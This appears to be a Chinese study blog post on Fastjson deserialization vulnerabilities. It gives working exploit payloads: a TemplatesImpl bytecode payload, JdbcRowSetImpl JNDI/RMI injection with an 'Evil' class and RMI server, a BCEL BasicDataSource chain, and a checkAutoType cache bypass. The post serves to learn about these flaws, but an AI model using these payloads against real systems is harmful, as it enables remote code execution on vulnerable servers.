fastjson反序列化
简介
Fastjson 反序列化漏洞的核心在于其 autoType 功能。当 autoType 开启时,Fastjson 会根据 JSON 数据中的 @type 字段来实例化对应的 Java 对象。攻击者可以利用这个特性,将 @type 字段设置为恶意类的名称,并在 JSON 数据中传入恶意类的属性值,从而触发恶意类的 setter 方法,最终导致代码执行。
我们知道原生序列化必须实现Serializable接口,而fastjson序列化,不需要显式地实现Serializable接口,主要用到的方法为JSON.toJSONString(),通过该方法将对象序列化为JSON字符串
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
fastjson反序列化利用
反序列化主要用到的是JSON.parseObject/JSON.parse
鉴于版本更新漏洞修补等缘故,分成两块进行学习
fastjson<=1.2.24
简单看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example;
import com.alibaba.fastjson.JSON;
public class fastjson { public static void main(String[] args){ User user=new User(); user.setAge(11); user.setName("张得"); String a=JSON.toJSONString(user); System.out.println(a); User asd=JSON.parseObject(a,User.class); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example; public class User { private int age; private String name;
public int getAge() { System.out.println("执行了getAge方法"); return age; }
public String getName() { System.out.println("执行了getName方法"); return name; }
public void setAge(int age) { this.age = age; System.out.println("执行了setAge方法"); }
public void setName(String name) { this.name = name; System.out.println("执行了setName方法"); } }
|
在toJSONString执行时调用了Getter方法
把一个对象当作字符串时(调用toString方法),就会触发getter方法
JSON.parseObject方法会再去调用一次原类的Setter方法
思考一个问题,现在这个User是我们加入的,实际环境里,fastjson又是如何知道的呢?
这里就出现了一个@type属性:@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
1 2
| a="{"@type\":\"User\",\"name\":\"admin\",\"age\":19}" JSON.parseObject(a);
|
这样就会调用User的Setter方法进行反序列化
这个时候,如果没有任何过滤,那么可以直接反序列化执行恶意命令
1 2 3 4 5 6 7 8 9 10
| getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法。 setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中
使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中setter 都被调用.
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数
fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到
fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码
|
TemplateImpl
TemplatesImpl类里面有getter方法,调用后可以动态加载恶意字节码
如
1 2 3 4 5 6
| getOutputProperties newTransformer() getTransletInstance() defineTransletClasses() defineClass()
|
那么可以直接利用fastjson反序列化
1 2 3 4 5 6 7 8
| String jsonInput = "{\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\"yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY\"],\n" + " \"_name\": \"sheep\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {}\n" + "}"; JSON.parseObject(jsonInput, Feature.SupportNonPublicField);
|
当然这里利用到了Feature.SupportNonPublicField允许给私有变量直接复制而不用调用setter方法
这个为什么会触发呢?
https://www.cnblogs.com/gaorenyusi/p/18435525
详细看这篇文章
JdbcRowSetImpl
这个类没有学过,简单介绍一下,涉及到了JNDI注入问题
1 2 3
| JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 注入问题又是什么呢? 就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
|
JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl
而这个类里面有一个setter方法,可以在fastjson反序列化时候被调用
1 2 3 4 5 6 7 8 9
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); }
}
|
这里调用了connect方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
1 2 3
| public String getDataSourceName() { return dataSource; }
|
1 2 3 4 5 6 7 8 9 10 11 12
| public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
我们可以控制dataSource的值,即完成了lookup()函数参数外部可控的条件,可以打JNDI注入
jdk版本需要满足 8u161 < jdk < 8u191
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:8888/evil","autoCommit":true}
本地起了一个恶意类的服务
最好了解下RMI,Evil是恶意类,常见RMIServer服务端,绑定恶意的Reference到rmi注册表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.Hashtable; public class Evil implements ObjectFactory { public Evil() throws IOException { exec("calc"); } public static void exec(String cmd) throws IOException { Process runcmd = Runtime.getRuntime().exec(cmd); InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream()); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); String tmp; while ((tmp = bufferedReader.readLine()) != null){ System.out.println(tmp); } inputStreamReader.close(); bufferedReader.close(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.io.IOException; import java.rmi.registry.LocateRegistry; import java.util.Properties; public class RMIServer { public static void main(String[] args) throws IOException, NamingException { Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099"); InitialContext ctx = new InitialContext(env); LocateRegistry.createRegistry(1099); Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/"); new ReferenceWrapper(reference); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); ctx.bind("evil", referenceWrapper); } }
|
BCEL利用链
BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接
安装一下依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency>
|
看一下payload
1 2 3 4 5 6 7 8 9 10 11 12
| { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }:"bbb" }
|
跟进类的实现
看一下BasicDataSource.getConnection方法

再跟进createDataSource方法

继续createConnectionFactory方法
发现
driverFromCCL = Class.forName(this.driverClassName, true, this.driverClassLoader);
这两个参数都是可以通过setter可控的

而这个包里面的类com.sun.org.apache.bcel.internal.util.ClassLoader重写了ClassLoader#loadClass()方法,即
1
| 其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。会创建一个该类,并用definclass去调用
|
那么现在问题变成了为什么它会这样走,为什么回执行getConnection方法呢
1 2 3
| 首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb 将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法 而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法。
|
1.2.25 <= fastjson <= 1.2.47
在此版本中,官方新加了黑白名单,在 ParserConfig 中可以看到黑名单的内容。而且设置了一个 autoTypeSupport 用来控制是否可以反序列化,autoTypeSupport 默认为 false 且禁止反序列化,为true时会使用 checkAutoType 来进行安全检测
如何绕过黑名单呢?零零碎碎的每个版本都有一些方法,这边介绍比较广的
在不开启 AutoTypeSupport 的情况下进行反序列化的利用
1 2 3 4 5 6 7 8 9 10 11 12
| { "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true } }
|
跟进checkAutoType

由于前面第一部分JSON数据中的val键值User已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测
参考
https://infernity.top/2025/02/25/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8
https://www.cnblogs.com/gaorenyusi/p/18435525
https://townmacro.cn